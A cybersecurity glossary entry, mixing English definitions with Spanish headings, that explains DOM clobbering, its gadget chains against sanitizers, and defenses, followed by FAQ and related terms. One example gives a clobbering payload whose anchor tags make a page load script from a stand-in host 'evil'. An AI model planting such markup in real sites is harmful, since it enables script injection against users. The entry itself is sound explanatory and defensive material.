DOM Clobbering
¿Qué es DOM Clobbering?
DOM ClobberingA browser-side technique in which attacker-controlled HTML elements with `id` or `name` attributes shadow global JavaScript variables, turning seemingly harmless markup into a vector for XSS, CSP bypass, and gadget chaining.
DOM clobbering exploits a legacy DOM feature: any HTML element with an `id` or `name` attribute is exposed as a property on `window` (and, for form fields, on its parent form). An attacker who can inject limited HTML — say through a markdown renderer or a relaxed sanitizer — can therefore create variables that override or define globals, even with all script tags blocked. Classic targets include `window.config`, library globals such as `_wpemojiSettings`, and properties a strict CSP otherwise protects. Modern research (Khodayari & Pellegrino, Heyes, and the 2023 attacks on widely used sanitizers like DOMPurify) demonstrated reliable gadget chains turning HTML-only injection into full XSS by hijacking framework lookups (`window.config.url`, `document.currentScript.src`). Defenses include using `document.getElementById` instead of bare global lookups, accessing globals via `let`/`const`, locking sensitive properties on `window`, and configuring sanitizers to strip or namespace `id`/`name` attributes on user-controlled HTML.
● Ejemplos
- 01
A markdown comment containing `<a id=config><a id=config name=url href=//evil>` causes the page's loader to fetch a script from evil.tld.
- 02
A 2023 DOMPurify advisory adds `id` and `name` attributes to the sanitizer's strip-list to defeat known DOM-clobbering gadget chains.
● Preguntas frecuentes
¿Qué es DOM Clobbering?
A browser-side technique in which attacker-controlled HTML elements with `id` or `name` attributes shadow global JavaScript variables, turning seemingly harmless markup into a vector for XSS, CSP bypass, and gadget chaining. Pertenece a la categoría de Seguridad de aplicaciones en ciberseguridad.
¿Qué significa DOM Clobbering?
A browser-side technique in which attacker-controlled HTML elements with `id` or `name` attributes shadow global JavaScript variables, turning seemingly harmless markup into a vector for XSS, CSP bypass, and gadget chaining.
¿Cómo funciona DOM Clobbering?
DOM clobbering exploits a legacy DOM feature: any HTML element with an `id` or `name` attribute is exposed as a property on `window` (and, for form fields, on its parent form). An attacker who can inject limited HTML — say through a markdown renderer or a relaxed sanitizer — can therefore create variables that override or define globals, even with all script tags blocked. Classic targets include `window.config`, library globals such as `_wpemojiSettings`, and properties a strict CSP otherwise protects. Modern research (Khodayari & Pellegrino, Heyes, and the 2023 attacks on widely used sanitizers like DOMPurify) demonstrated reliable gadget chains turning HTML-only injection into full XSS by hijacking framework lookups (`window.config.url`, `document.currentScript.src`). Defenses include using `document.getElementById` instead of bare global lookups, accessing globals via `let`/`const`, locking sensitive properties on `window`, and configuring sanitizers to strip or namespace `id`/`name` attributes on user-controlled HTML.
¿Cómo defenderse de DOM Clobbering?
Las defensas contra DOM Clobbering combinan habitualmente controles técnicos y prácticas operativas, como se detalla en la definición.
¿Cuáles son otros nombres para DOM Clobbering?
Nombres alternativos comunes: HTML namespace pollution, Named-element global hijack.
● Términos relacionados
- attacks№ 265
Cross-Site Scripting (XSS)
Vulnerabilidad web que permite a un atacante inyectar scripts maliciosos en páginas vistas por otros usuarios, ejecutándose en el navegador de la víctima bajo el origen del sitio.
- attacks№ 1225
XSS Almacenado
Vulnerabilidad de scripting entre sitios persistente: el script del atacante se guarda en el servidor y se ejecuta en el navegador de cada visitante.
- appsec№ 237
Política de Seguridad de Contenidos (CSP)
Cabecera HTTP que indica al navegador qué orígenes de scripts, estilos, marcos y otros recursos están permitidos, limitando el impacto de XSS y de inyecciones de datos.
- appsec№ 1302
Trusted Types
API del navegador y directiva CSP que previene el XSS basado en DOM exigiendo que los sumideros peligrosos reciban valores tipados y validados por una politica, no cadenas crudas.
- appsec№ 599
Validación de entrada
Comprobación del lado del servidor que verifica que cada entrada no confiable cumple el tipo, longitud, rango, formato y conjunto de valores esperados antes de ser procesada.
- appsec№ 866
Codificación de salida
Transformar datos no confiables a un formato seguro para un contexto específico (HTML, JavaScript, URL, SQL, shell) para que no escapen y se ejecuten como código.